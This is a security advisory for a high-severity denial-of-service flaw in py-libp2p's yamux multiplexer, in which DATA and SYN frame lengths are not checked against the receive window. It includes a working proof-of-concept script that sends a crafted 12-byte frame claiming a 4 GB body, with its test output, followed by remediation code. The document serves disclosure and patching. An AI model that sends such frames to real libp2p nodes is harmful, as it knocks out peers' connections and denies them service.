PT-2026-80654 · Pypi · Libp2P

Published

2026-08-19

·

Updated

2026-08-19

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim's yamux read loop to block indefinitely. This affects the default new host() configuration and requires no special setup on either side.

Details

In libp2p/stream muxer/yamux/yamux.py (lines 915 to 926), the handle incoming() method dispatches on frame type. When a DATA frame arrives, it reads the body unconditionally:
python
elif typ == TYPE DATA:
  try:
    data = (
      await read exactly(self.secured conn, length)
      if length > 0
      else b""
    )
The length field is taken directly from the wire-decoded frame header, a 32-bit unsigned integer with a maximum value of 4,294,967,295. There is no check that length fits within the stream's receive window (DEFAULT WINDOW SIZE = 256 * 1024 bytes). The body read also happens before the code checks whether the referenced stream id even exists in self.streams (that check is at line 954), so any stream ID triggers the issue.
handle incoming() itself is a single sequential loop with no timeout around the body read. Once read exactly suspends waiting for data that never comes, the loop cannot process any subsequent frames. Every stream on that yamux connection stops working, and no exception is raised.
The same unguarded call appears in the SYN branch at lines 804 to 806, so a crafted SYN frame with a large length field triggers the same stall.
The yamux specification (section 3.3) explicitly requires the receiver to reset the stream if a sender transmits more data than the receive window allows. py-libp2p does not enforce this on the receiver side. All three comparable implementations do: go-yamux tracks recvWindow per stream and returns a SendWindowExceeded error on violation; rust-yamux validates frame length against the stream credit; js-libp2p yamux checks frame length against maxMessageSize.

PoC

The harness completes a normal noise handshake and yamux negotiation between two local hosts, confirms yamux is healthy with a pre-attack ping, then writes a single malicious frame directly to the attacker's secured connection. After a short pause, it attempts to open a new stream with a 3-second deadline. The stream open never completes.
File: test poc.py
python
"""
author: @tahaafarooq
POC: yamux connection DoS via oversized data frame (connection DoS)
"""
import os
import secrets
import gc
import struct

import psutil
import trio
import multiaddr

from libp2p import new host
from libp2p.crypto.ed25519 import create new key pair
from libp2p.custom types import TProtocol
from libp2p.peer.peerinfo import PeerInfo
from libp2p.stream muxer.yamux.yamux import Yamux

LOOPBACK = multiaddr.Multiaddr("/ip4/127.0.0.1/tcp/0")
PING = TProtocol("/audit/ping/1.0.0")

YAMUX HEADER FORMAT = "!BBHII"
TYPE DATA = 0x0
HUGE LENGTH = 0xFFFF FFFF # max uint32 — 4,294,967,295 bytes


def craft malicious frame(stream id: int = 1) -> bytes:
  """
  12-byte yamux DATA frame with flags=0 and length=4 GB.
  The stream id is irrelevant: yamux reads the body BEFORE checking
  whether the stream exists.
  """
  return struct.pack(YAMUX HEADER FORMAT, 0, TYPE DATA, 0, stream id, HUGE LENGTH)


def get yamux(host, peer id) -> Yamux | None:
  swarm = host.get network()
  conns = swarm.connections.get(peer id)
  if conns is None:
    return None
  conn = conns[0] if isinstance(conns, list) else conns
  mc = conn.muxed conn
  return mc if isinstance(mc, Yamux) else None


async def attack():
  proc = psutil.Process(os.getpid())
  rss0 = proc.memory info().rss

  v kp = create new key pair(secrets.token bytes(32))
  a kp = create new key pair(secrets.token bytes(32))

  # DEFAULT new host() — noise + yamux — no explicit sec opt or muxer opt
  victim = new host(key pair=v kp)
  attacker = new host(key pair=a kp)

  victim.set stream handler(PING, lambda s: s.close())

  async with victim.run(listen addrs=[LOOPBACK]):
    vaddr = victim.get addrs()[0]
    assert "127.0.0.1" in str(vaddr), "SAFETY: non-loopback"
    print(f"[*] Victim  : {vaddr}")
    print(f"[*] Config  : DEFAULT (noise + yamux)")

    async with attacker.run(listen addrs=[LOOPBACK]):
      await attacker.connect(PeerInfo(victim.get id(), victim.get addrs()))
      await trio.sleep(0.2)

      a yamux = get yamux(attacker, victim.get id())
      v yamux = get yamux(victim, attacker.get id())
      assert a yamux and v yamux, "yamux muxed conn not found"
      print(
        f"[*] Muxer  : attacker={type(a yamux). name }, "
        f"victim={type(v yamux). name }"
      )

      # --- Pre-attack: confirm yamux is healthy ---
      pre stream = await attacker.new stream(victim.get id(), [PING])
      await pre stream.close()
      print("[*] Pre-attack ping: OK (yamux live)")

      # --- Inject malicious frame ---
      frame = craft malicious frame(stream id=1)
      print(
        f"[*] Injecting {len(frame)}-byte yamux frame: "
        f"type=DATA flags=0x0 stream id=1 length={HUGE LENGTH:#010x} "
        f"({HUGE LENGTH:,} bytes)"
      )
      print(f"[*] Frame hex: {frame.hex()}")

      # Write directly to the noise-encrypted secure conn.
      # secured conn.write() encrypts before sending; victim decrypts and
      # sees the raw yamux frame bytes, which handle incoming processes.
      await a yamux.secured conn.write(frame)
      await trio.sleep(0.2)
      # Victim's handle incoming has now read the 12-byte header, dispatched
      # to `elif typ == TYPE DATA:`, and entered read exactly(conn, 4GB).

      # --- Post-attack: try to use yamux ---
      post attack succeeded = False

      with trio.move on after(3.0):
        try:
          post stream = await attacker.new stream(victim.get id(), [PING])
          await post stream.close()
          post attack succeeded = True
        except Exception as e:
          print(f"[*] Post-attack new stream error: {type(e). name }: {e}")

      gc.collect()
      rss1 = proc.memory info().rss

      print("
=== RESULTS ===")
      print(f"Injected frame (hex) : {frame.hex()}")
      print(
        f"Body-length field  : {HUGE LENGTH} bytes requested, 0 bytes sent"
      )
      print(f"Post-attack ping OK : {post attack succeeded}")
      print(f"RSS delta      : {(rss1 - rss0) / 1024:.1f} KiB")

      yamux stuck = not post attack succeeded
      print(f"
Victim yamux loop stuck: {yamux stuck}")

      if yamux stuck:
        print(
          "[CONFIRMED] handle incoming blocked - victim yamux dead for "
          "this connection."
        )
        print(
          "[IMPACT  ] Single 12-byte write from any authenticated peer "
          "(post-noise-handshake)
"
          "      permanently stalls yamux for that connection.
"
          "      Affects DEFAULT new host() config - no mplex required.
"
          "      No timeout, no max-length check, no exception."
        )
      else:
        print("[NOT CONFIRMED] yamux responded post-attack.")

      assert yamux stuck, (
        "Expected yamux to be stuck after injecting malicious DATA frame, "
        "but connection remained functional."
      )


def test yamux data frame stall():
  trio.run(attack)


if  name  == " main ":
  trio.run(attack)
python3 -m pytest test poc.py::test yamux data frame stall -v
Malicious frame (12 bytes, hex): 00000000000000 01ffffffff
version = 0x00
type   = 0x00 (DATA)
flags  = 0x0000
stream id= 0x00000001
length  = 0xFFFFFFFF (4,294,967,295 bytes)
Output:
[*] Config  : DEFAULT (noise + yamux)
[*] Pre-attack ping: OK (yamux live)
[*] Injecting 12-byte yamux frame: type=DATA flags=0x0 stream id=1 length=0xffffffff
Victim yamux loop stuck: True
[CONFIRMED] handle incoming blocked - victim yamux dead for this connection.
PASSED in ~3.8s

Impact

A single authenticated peer (one that has completed the noise handshake, which requires no credentials) can permanently freeze the yamux read loop for a given connection using 12 bytes of payload. All streams on that connection stop working. No exception is raised, no log entry is written, and no automatic recovery occurs.
This applies to the default new host() configuration. Unlike a similar issue in the mplex muxer (which requires an explicit opt-in), every py-libp2p node using the standard setup is affected. At the default connection limit of 10,000 connections, an attacker running 10,000 peers can freeze all connections using roughly 120 KB of total traffic.
There is no confidentiality or integrity impact. The effect is limited to availability on the targeted yamux connection.

Remediation

1. Enforce the receive window on inbound DATA frames (primary fix) Before calling read exactly, reject frames whose declared length exceeds the negotiated receive window:
python
# libp2p/stream muxer/yamux/yamux.py
                                                      
MAX YAMUX FRAME = 256 * 1024 # matches DEFAULT WINDOW SIZE and go-yamux default
                           
elif typ == TYPE DATA:
  if length > MAX YAMUX FRAME:
    logger.warning(
      f"yamux: oversized DATA frame length={length} > {MAX YAMUX FRAME}, sending RST"
    )
    rst header = struct.pack(YAMUX HEADER FORMAT, 0, TYPE DATA, FLAG RST, stream id, 0)
    await self.secured conn.write(rst header)
    continue # skip body read; loop processes next frame
  data = await read exactly(self.secured conn, length) if length > 0 else b""
The same check should be applied to the SYN branch at lines 804 to 806.
2. Add a per-frame timeout in handle incoming()
python
while not self.event shutting down.is set():
  try:
    with trio.fail after(60):
      header = await read exactly(self.secured conn, HEADER SIZE)
      ...
  except trio.TooSlowError:
    logger.warning("yamux: frame read timed out, closing connection")
    self.event shutting down.set()
    break
Option 1 eliminates the amplification entirely. Option 2 bounds the worst-case stall duration for any future oversized-read path that might be introduced.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3681

Affected Products

Libp2P